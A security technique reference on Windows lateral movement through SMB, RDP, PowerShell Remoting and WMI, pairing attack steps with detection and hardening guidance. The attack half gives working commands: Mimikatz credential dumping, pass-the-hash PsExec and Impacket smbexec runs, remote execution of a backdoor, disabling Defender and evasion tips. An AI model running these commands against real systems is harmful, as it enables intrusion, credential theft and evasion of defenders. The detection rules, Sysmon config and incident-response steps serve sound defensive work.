| Attribute | Details |
|---|---|
| Technique ID | LM-REMOTE-005 |
| MITRE ATT&CK v18.1 | T1021 - Remote Services |
| Tactic | Lateral Movement |
| Platforms | Windows Endpoint |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | Windows Server 2016 - 2019 - 2022 - 2025 |
| Patched In | N/A (Technique remains active; mitigations apply) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: SMB/RDP/PowerShell Remoting and WMI chaining represents a critical lateral movement attack surface in Windows environments. Attackers leverage legitimate remote access protocols (SMB for file shares and named pipes, RDP for interactive sessions, PowerShell Remoting for script execution, and WMI for system management) to move between endpoints without requiring additional tools or exploits. These protocols operate at the OS level and are deeply integrated into Windows infrastructure, making them attractive targets for adversaries who have obtained valid credentials. The attack chain typically begins with credential theft (NTLM hash, Kerberos ticket, or cleartext password) and leverages built-in Windows utilities (PsExec, DCOM, WinRS, Invoke-CimMethod) to execute code remotely.
Attack Surface:
Business Impact: Enables unrestricted lateral movement across the enterprise. Once an attacker obtains valid credentials (even low-privilege user accounts), they can hop between dozens or hundreds of systems within hours. This creates a privileged escalation path to domain controllers, database servers, and sensitive data repositories. Typical impact includes data exfiltration, ransomware deployment, and persistence establishment.
Technical Context: These attacks are rapid—moving between 5-10 systems in under 1 hour is common. Detection is challenging because all traffic uses legitimate Windows protocols and the activity mirrors normal administrative operations. Event ID 4624 (successful logon) is generated for each lateral hop, but high-volume logon events often trigger alert fatigue. Stealth can be achieved by targeting systems with disabled audit logging or using accounts that regularly authenticate across the network (service accounts).
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 2.1, 2.2 | Account Policies / Password Policy configuration failures |
| DISA STIG | WN16-AU-000030 | Audit Policy for Successful Logons |
| CISA SCuBA | SC.L1-3.13.2 | Multi-factor Authentication on Remote Access |
| NIST 800-53 | AC-3, AC-6, SI-4 | Access Enforcement, Privilege Limitation, Information System Monitoring |
| GDPR | Art. 32 | Security of Processing - Technical measures for data integrity |
| DORA | Art. 9 | Protection and Prevention of ICT-Related Incidents |
| NIS2 | Art. 21 | Cyber Risk Management Measures for Critical Operators |
| ISO 27001 | A.9.2.3, A.9.4.3 | Management of Privileged Access Rights; Control of Operational Software |
| ISO 27005 | § 4.4.1 | Risk Analysis – Control of System Access |
Supported Versions:
Tools:
# Check if SMB connectivity is available to target
Test-NetConnection -ComputerName 192.168.1.2 -Port 445
# Expected output: TcpTestSucceeded = True
# Check if WinRM is enabled on target
Test-WSMan -ComputerName 192.168.1.2
# Expected output: ProductVersion [OS=10.0.xxxxx]
# Check current user's credentials and delegation capability
whoami /groups
# Look for "INTERACTIVE", "NETWORK" groups (indicates ability to authenticate)
# Enumerate SMB shares accessible
Get-SmbShare -CimSession (New-CimSession -ComputerName 192.168.1.2)
# Check Kerberos tickets in cache (if using Kerberos authentication)
klist.exe
# Expected output: Cached tickets, service tickets (indicates valid auth context)
What to Look For:
Version Note: Windows Server 2022+ has stricter default SMB1 disabling; SMB2/3 is default. Commands above use SMB2/3 by default.
# Test SMB connectivity and enumerate shares from Linux
nmap -p 445 192.168.1.2 -sV
# Expected output: 445/tcp open microsoft-ds
# Enumerate shares using Impacket
python3 -m impacket.smbclient -N //192.168.1.2/IPC$ -U "" -no-pass
# If IPC$ is accessible, SMB enumeration is possible
# Test RDP availability
nmap -p 3389 192.168.1.2 -sV
# Expected output: 3389/tcp open ms-wbt-server
# Check WinRM availability
python3 -c "import socket; s = socket.socket(); s.connect(('192.168.1.2', 5985)); print('WinRM HTTP accessible')"
# Expected output: WinRM HTTP accessible (or connection refused if disabled)
What to Look For:
Supported Versions: Server 2016-2025
Objective: Acquire NTLM hash or cleartext password of a domain user
Command:
# After compromising a system, extract NTLM hash from memory (requires Local Admin)
# Using Mimikatz
mimikatz.exe
sekurlsa::logonpasswords
# Example output: Domain\Username:NTLMHASH
Expected Output:
Authentication Id : 0 ; 6 (192:6)
Session : Interactive from 1
User Name : john.doe
Domain : CONTOSO
Logon Server : DC01
Logon Time : 1/10/2026 10:15:00 AM
SID : S-1-5-21-1234567890-1234567890-1234567890-1001
* Username : john.doe
* Domain : CONTOSO
* Password : (hash or cleartext)
* NTLM : 8846F7EAEE8FB117AD06BDD830B7586C
What This Means:
OpSec & Evasion:
Troubleshooting:
Set-MpPreference -DisableRealtimeMonitoring $trueReferences & Proofs:
Objective: Establish remote command execution on target system using valid credentials
Command:
# PsExec with NTLM hash (Pass-the-Hash)
psexec.exe \\192.168.1.2 -u CONTOSO\john.doe -p (password or use hash) cmd.exe
# PsExec with hash directly (requires Impacket on Linux or tool support)
psexec.exe \\192.168.1.2 -u CONTOSO\john.doe -H 8846F7EAEE8FB117AD06BDD830B7586C cmd.exe
# PsExec with cleartext credentials
psexec.exe \\192.168.1.2 -u CONTOSO\john.doe -p ComplexPassword123! cmd.exe
# Direct PsExec execution with command
psexec.exe \\192.168.1.2 -u CONTOSO\john.doe -p ComplexPassword123! -c C:\backdoor.exe
# Copies backdoor.exe to target and executes
Command (Server 2016-2019):
# Works identically; SMB2 is default
psexec.exe \\192.168.1.2 -u CONTOSO\john.doe -p PASSWORD cmd.exe
Command (Server 2022+):
# SMB3 is default; encryption may be enforced
# If SMB encryption is required:
psexec.exe \\192.168.1.2 -u CONTOSO\john.doe -p PASSWORD -smb2support cmd.exe
Expected Output:
PsExec v2.45 - Execute processes remotely
Copyright (C) 2001-2021 Mark Russinovich
Sysinternals - www.sysinternals.com
Connecting to 192.168.1.2...
Starting PSEXESVC service on 192.168.1.2... done
Connecting with PsExec service on 192.168.1.2...
Microsoft Windows [Version 10.0.20348]
(C) Microsoft Corporation. All rights reserved.
C:\Windows\system32>
What This Means:
OpSec & Evasion:
Troubleshooting:
Test-NetConnection -ComputerName 192.168.1.2 -Port 445net use \\192.168.1.2\IPC$ /user:CONTOSO\john.doe PASSWORD (should succeed)netsh advfirewall firewall set rule name='File and Printer Sharing' dir=in new enable=yesGet-Service -Name RpcSs | Select StatusReferences & Proofs:
Supported Versions: Server 2016-2025 (WinRM enabled by default on Server; requires explicit enablement on Client)
Objective: Activate WinRM service for PowerShell Remoting
Command:
# From local system, enable WinRM (requires Local Admin)
Enable-PSRemoting -Force
# If already running, verify it's listening
Get-Service WinRM | Select Status
# Expected: Running
# Test WinRM connectivity from another system
Test-WSMan -ComputerName 192.168.1.2
Version Note: Server editions have WinRM enabled by default; Client editions do not.
Command (Server 2016-2019):
# Enable WinRM with default settings
Enable-PSRemoting -Force
# WinRM listens on 5985 (HTTP) by default
Command (Server 2022+):
# Enable WinRM; may require additional Kerberos delegation setup
Enable-PSRemoting -Force
# Verify Kerberos delegation: Get-PSSessionConfiguration | Select Name, AuthenticationOptions
Expected Output:
WinRM Quick Configuration
Running the WinRM Quick Configuration:
- Creates local firewall rules for WinRM traffic
- Starts the WinRM service
WinRM has been updated to receive requests.
WinRM service started successfully.
OpSec & Evasion:
References & Proofs:
Objective: Create interactive PowerShell session or execute commands remotely
Command:
# Create interactive session (requires valid credentials)
$session = New-PSSession -ComputerName 192.168.1.2 -Credential (Get-Credential)
# Prompts for username and password
# Enter remote session
Enter-PSSession $session
# Now at remote C:\Users\username> prompt
# Alternative: Execute single command without interactive session
Invoke-Command -ComputerName 192.168.1.2 -Credential (Get-Credential) -ScriptBlock {
whoami
ipconfig
Get-Process
}
Expected Output (Interactive Session):
[192.168.1.2]: PS C:\Users\john.doe\Documents>
Expected Output (Command Execution):
CONTOSO\john.doe
192.168.1.2: DESKTOP-ABC123D
Ethernet adapter Ethernet:
Connection-specific DNS Suffix : contoso.com
IPv4 Address : 192.168.1.2
Subnet Mask : 255.255.255.0
Default Gateway : 192.168.1.1
What This Means:
OpSec & Evasion:
Invoke-Command without interactive session to minimize log entriesNew-PSSession -SessionOption (New-PSSessionOption -NoEncryption) to avoid TLS overhead (detectable on network)Troubleshooting:
Start-Service -Name WinRM (requires Local Admin on target)net use \\192.168.1.2\IPC$ /user:CONTOSO\john.doe PASSWORDReferences & Proofs:
Supported Versions: Server 2016-2025
Objective: Verify WMI is accessible and enumerate processes
Command:
# Test WMI connectivity to target
Get-CimInstance -ClassName Win32_OperatingSystem -ComputerName 192.168.1.2 -Credential (Get-Credential)
# If successful, enumerates OS information
# If failed, WMI is blocked or credentials invalid
Expected Output:
PSComputerName : 192.168.1.2
SystemName : DESKTOP-ABC123D
BuildNumber : 20348
Version : 10.0.20348
OSLanguage : 1033
What This Means:
OpSec & Evasion:
Objective: Launch executable on remote system without creating obvious service entries
Command:
# Execute command on remote system using Invoke-CimMethod
$CimSession = New-CimSession -ComputerName 192.168.1.2 -Credential (Get-Credential)
# Create process
Invoke-CimMethod -CimSession $CimSession -ClassName Win32_Process -MethodName Create -Arguments @{
CommandLine = "cmd.exe /c C:\backdoor.exe"
}
# Output includes ProcessId
Expected Output:
ProcessId ReturnValue PSComputerName
---------- ----------- --------------
1234 0 192.168.1.2
What This Means:
Version Note: Identical behavior across Server 2016-2025
OpSec & Evasion:
Troubleshooting:
net start winmgmtRestart-Service -Name winmgmtReferences & Proofs:
Supported Versions: Server 2016-2025 (SMB protocol is consistent)
Objective: Set up Impacket framework on attacker system
Command:
# Install Impacket
pip3 install impacket
# Verify installation
python3 -m impacket.smbexec -h
# Should display help menu
# Alternatively, clone from GitHub
git clone https://github.com/fortra/impacket.git
cd impacket
python3 setup.py install
Expected Output:
Impacket v0.12.0-dev - Copyright 2023 Fortra
usage: smbexec.py [-h] [--help-all] [-share SHARE] [-mode {SERVER,SHARE}]
[-ts] [-codec CODEC] [-target-ip ip address]
[-port [destination port]] [-timeout TIMEOUT]
[-k] [-aesKey hex key] [-hashes LMHASH:NTHASH]
[-no-pass] [-p PORT]
target [command]
OpSec & Evasion:
Objective: Execute arbitrary command on remote Windows system
Command:
# Basic execution with cleartext credentials
python3 -m impacket.smbexec CONTOSO/john.doe:ComplexPassword123!@192.168.1.2
# Using NTLM hash instead of password
python3 -m impacket.smbexec -hashes :8846F7EAEE8FB117AD06BDD830B7586C CONTOSO/john.doe@192.168.1.2
# Execute single command
python3 -m impacket.smbexec CONTOSO/john.doe:ComplexPassword123!@192.168.1.2 'whoami'
# Interactive shell (create temp service, execute commands)
python3 -m impacket.smbexec CONTOSO/john.doe:ComplexPassword123!@192.168.1.2
# Drops to C:\> prompt
Expected Output (Interactive):
Impacket v0.12.0-dev - Copyright 2023 Fortra
[*] Using temporary service ABBCDDE on 192.168.1.2
[*] Creating service (temporary)
[*] Running pseudo shell...
Type 'help' for list of commands
C:\>
What This Means:
Version Note: smbexec.py behavior is consistent across Windows Server 2016-2025
OpSec & Evasion:
Troubleshooting:
nmap -p 445 192.168.1.2smbclient -U CONTOSO/john.doe%PASSWORD //192.168.1.2/IPC$ -c "dir"References & Proofs:
Description: Validates lateral movement across multiple protocol vectors
Supported Versions: Server 2016+
Invoke-AtomicTest T1021.001 -TestNumbers 1
Invoke-AtomicTest T1021.002 -TestNumbers 1,2
Invoke-AtomicTest T1021.006 -TestNumbers 1,2
- **Cleanup Command:**
```powershell
Invoke-AtomicTest T1021.001 -TestNumbers 1 -Cleanup
Invoke-AtomicTest T1021.002 -TestNumbers 1,2 -Cleanup
Invoke-AtomicTest T1021.006 -TestNumbers 1,2 -Cleanup
Reference: Atomic Red Team - T1021 Remote Services
Rule Configuration:
SPL Query:
index=main sourcetype=WinEventLog:Security EventCode=7045
| where Service_Name LIKE "PSEXESVC" OR Service_Name LIKE "ABBCDDE%"
| stats count by Computer, Service_Name, User
| where count >= 1
What This Detects:
Manual Configuration Steps:
Rule Configuration:
SPL Query:
index=main sourcetype=WinEventLog:Security EventCode=4624
| where Logon_Type=3
| where NOT Source_Network_Address IN (gateway_ips, jump_box_ips, vpn_ips)
| stats count by Computer, Account_Name, Source_Network_Address
| where count > 5
What This Detects:
False Positive Analysis:
| where Account_Name NOT LIKE "svc_%"Rule Configuration:
SPL Query:
index=main sourcetype=WinEventLog:System EventCode=5857
| where Image LIKE "%wmiprvse.exe%" AND ParentImage LIKE "%svchost.exe%"
| stats count by Computer, Image, CommandLine
| where count > 0
What This Detects:
Rule Configuration:
KQL Query:
SecurityEvent
| where EventID == 7045
| where Process has_any ("PSEXESVC", "ABBCDDE", "WinRM")
| extend SourceIP = extract(@"\[(.+?)\]", 1, Process)
| summarize Count = count(), Services = make_set(Process) by Computer, SubjectUserName, SourceIP
| where Count > 2 or Services contains "PSEXESVC"
| project-reorder Computer, SubjectUserName, Count, Services
What This Detects:
Manual Configuration Steps (Azure Portal):
Lateral Movement - Service Creation (PsExec/SMBExec)High5 minutes30 minutesManual Configuration Steps (PowerShell):
Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
-DisplayName "Lateral Movement - Service Creation (PsExec/SMBExec)" `
-Query @"
SecurityEvent
| where EventID == 7045
| where Process has_any ("PSEXESVC", "ABBCDDE", "WinRM")
| extend SourceIP = extract(@"\[(.+?)\]", 1, Process)
| summarize Count = count(), Services = make_set(Process) by Computer, SubjectUserName, SourceIP
| where Count > 2 or Services contains "PSEXESVC"
"@ `
-Severity "High" `
-Enabled $true
Rule Configuration:
KQL Query:
SecurityEvent
| where EventID == 4624
| where LogonType has_any ("3", "10") // Network and RDP logon types
| extend SourceIP = IpAddress
| summarize LogonCount = count() by Computer, TargetUserName, SourceIP
| where LogonCount > 5 and SourceIP startswith "10." or SourceIP startswith "192.168."
| project-reorder Computer, TargetUserName, LogonCount, SourceIP
What This Detects:
Event ID: 7045 (New Service Creation)
Manual Configuration Steps (Group Policy):
gpupdate /force on target machinesEvent ID: 4624 (Successful Logon)
Manual Configuration Steps (Local Policy):
auditpol /set /subcategory:"Logon" /success:enable /failure:enableEvent ID: 5857 (WMI Event - Provider Started)
Minimum Sysmon Version: 13.0+ Supported Platforms: Windows Server 2016-2025
<!-- Sysmon Event ID 1: Process Creation (Lateral Movement Detection) -->
<RuleGroup name="Lateral Movement - SMB/RDP/WinRM" groupRelation="or">
<!-- PsExec service creation -->
<Rule name="PsExec Service" onmatch="include">
<EventID>11</EventID>
<TargetFilename condition="contains">PSEXESVC</TargetFilename>
</Rule>
<!-- SMBExec temporary service -->
<Rule name="SMBExec Service" onmatch="include">
<EventID>11</EventID>
<TargetFilename condition="matches">.*ABBCDDE.*</TargetFilename>
</Rule>
<!-- Remote process execution via WMI -->
<Rule name="WMI Remote Process Execution" onmatch="include">
<EventID>3</EventID>
<DestinationPort condition="in">5985,5986</DestinationPort>
<Image condition="contains">wmiprvse.exe</Image>
</Rule>
<!-- RDP incoming connection -->
<Rule name="RDP Connection" onmatch="include">
<EventID>3</EventID>
<DestinationPort>3389</DestinationPort>
<Protocol>tcp</Protocol>
</Rule>
</RuleGroup>
Manual Configuration Steps:
sysmon-lateral.xml with the XML abovesysmon64.exe -accepteula -i sysmon-lateral.xml
Get-Service Sysmon64
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10 | Select EventID, Message
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -FilterXPath "*[System[EventID=11]]" | Select TimeCreated, Message
Alert Name: “Suspicious process creation via service”
Alert Name: “Suspicious account creation”
net user SuspiciousAccount /deleteManual Configuration Steps (Enable Defender for Cloud):
Reference: Microsoft Defender for Cloud - Alert Reference
Block SMB on non-required systems: Disable SMB shares on workstations that don’t require file sharing.
Applies To Versions: Server 2016+
Manual Steps (Group Policy):
gpupdate /force on all systemsManual Steps (PowerShell):
# Disable SMB file sharing (but keep SMB for AD communication)
Disable-NetAdapterBinding -Name * -ComponentID ms_server
# Or use Windows Firewall to block inbound SMB
New-NetFirewallRule -DisplayName "Block Inbound SMB" -Direction Inbound -Action Block -Protocol TCP -LocalPort 445
Enforce Network Level Authentication (NLA) for RDP: Require user authentication before RDP session is established.
Applies To Versions: Server 2016+
Manual Steps (Group Policy):
gpupdate /forceManual Steps (Registry):
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" -Name SecurityLayer -Value 2
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" -Name UserAuthentication -Value 1
Restrict WinRM access to administrative networks only:
Applies To Versions: Server 2016+
Manual Steps (Windows Firewall):
Manual Steps (PowerShell):
# Restrict WinRM to specific IP range
New-NetFirewallRule -DisplayName "Restrict WinRM to Admin Network" -Direction Inbound `
-Action Allow -Protocol TCP -LocalPort 5985,5986 -RemoteAddress 10.0.1.0/24
# Remove default "Allow All" rule
Remove-NetFirewallRule -DisplayName "Windows Remote Management (HTTP-In)" -ErrorAction SilentlyContinue
Implement Privileged Access Workstation (PAW): Dedicated systems for administrative access; isolate from general user networks.
Applies To Versions: Server 2016+
Manual Steps:
Enable Multi-Factor Authentication (MFA) for all remote access:
Applies To Versions: Server 2016+ (requires integration with identity provider)
Manual Steps (For Azure AD/Entra ID joined systems):
Require MFA for RDP/WinRMRole-Based Access Control (RBAC) - Limit Administrator Accounts:
Manual Steps:
For On-Premises Active Directory:
# Find and remove unnecessary Domain Admins
$admins = Get-ADGroupMember -Identity "Domain Admins"
foreach ($admin in $admins) {
if ($admin.Name -ne "Administrator") { # Keep built-in Admin
Remove-ADGroupMember -Identity "Domain Admins" -Members $admin.DistinguishedName -Confirm
}
}
Conditional Access Policies (Azure/Entra ID):
Manual Steps:
Block Lateral Movement - Legacy AuthEvent Log Retention Policy:
Manual Steps (Group Policy):
gpupdate /force# Check if SMB is properly blocked on workstations
Get-NetFirewallRule -DisplayName "*SMB*" | Select Name, Enabled, Direction, Action
# Verify WinRM is restricted to admin network
Get-NetFirewallRule -DisplayName "*Remote Management*" | Select Name, Enabled, Direction
# Confirm NLA is enforced for RDP
Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" | Select SecurityLayer, UserAuthentication
# Check Event Log configuration
Get-EventLog -LogName Security | Measure-Object # Should show events going back 90+ days
Expected Output (If Secure):
Name Enabled Direction Action
---- ------- --------- ------
Block Inbound SMB True Inbound Block
Restrict WinRM to Admin Network True Inbound Allow
SecurityLayer : 2 (SSL/TLS)
UserAuthentication : 1 (Required)
What to Look For:
C:\Windows\System32\drivers\etc\hosts (modified for DNS spoofing during lateral movement prep)C:\Temp\PSEXESVC.exe (PsExec temporary executable)C:\Windows\Temp\*ABBCDDE* (SMBExec temporary files)C:\Windows\System32\config\SAM (If credential dumping occurred after lateral movement)HKLM\System\CurrentControlSet\Services\PSEXESVC (PsExec service)HKLM\Software\Microsoft\Windows\CurrentVersion\Run\* (Modified for persistence after lateral movement)HKLM\System\CurrentControlSet\Control\Lsa\ForceGuest (Changed to enable guest access)C:\Windows\System32\winevt\Logs\Security.evtx (Event ID 7045 service creation, Event ID 4624 successful logons)C:\Windows\Prefetch\PSEXESVC.EXE-*.pf (Execution of PsExec service)Isolate:
Command:
# Disable network adapter immediately
Disable-NetAdapter -Name "Ethernet" -Confirm:$false
# Alternatively, kill WinRM service to stop further lateral movement
Stop-Service -Name WinRM -Force
Stop-Service -Name RpcSs -Force # Disables RPC, but may impact system functionality
Manual (Azure):
Collect Evidence:
Command:
# Export Security Event Log to forensic disk
wevtutil epl Security C:\Evidence\Security.evtx /overwrite:true
# Capture memory dump of LSASS (for credential analysis)
procdump64.exe -accepteula -ma lsass.exe C:\Evidence\lsass.dmp
# Export Windows Prefetch files
Copy-Item "C:\Windows\Prefetch\*.pf" "C:\Evidence\Prefetch\"
# Capture registry hives
reg export HKLM\System C:\Evidence\System.reg
reg export HKLM\SAM C:\Evidence\SAM.reg
Manual:
C:\Evidence\Security.evtxRemediate:
Command:
# Stop malicious processes
Stop-Process -Name "cmd" -Force
Stop-Process -Name "powershell" -Force
# Remove PsExec service if still present
Remove-Service -Name "PSEXESVC" -ErrorAction SilentlyContinue
Remove-Item "C:\Windows\System32\PSEXESVC.exe" -Force -ErrorAction SilentlyContinue
# Delete unauthorized local admin accounts created during lateral movement
$accounts = Get-LocalUser | where { $_.Name -like "*admin*" -and $_.Name -ne "Administrator" }
foreach ($account in $accounts) {
Remove-LocalUser -Name $account.Name -Confirm:$false
}
# Reset password for compromised user accounts
$password = ConvertTo-SecureString "NewSecurePassword123!" -AsPlainText -Force
Set-LocalUser -Name "compromised_user" -Password $password
# Clear audit logs to remove evidence (if required by policy - typically NOT recommended)
Clear-EventLog -LogName Security -Confirm:$false # Only after SIEM backup
Manual:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [CA-PHISH-001] Phishing Email with Macro | Attacker sends malicious Office document; user enables macros and executes payload |
| 2 | Credential Access | [CA-DUMP-003] LSASS Dump via MiniDump | Attacker extracts NTLM hashes/Kerberos tickets from LSASS process memory |
| 3 | Current Step | [LM-REMOTE-005] | Attacker performs SMB/RDP/WinRM lateral movement using obtained credentials |
| 4 | Persistence | [PERSIST-007] Golden SAML Token | Attacker forges SAML tokens for persistent Azure AD access |
| 5 | Impact | [IMPACT-001] Data Exfiltration via Teams | Attacker uploads sensitive data to cloud and exfiltrates via Teams channel |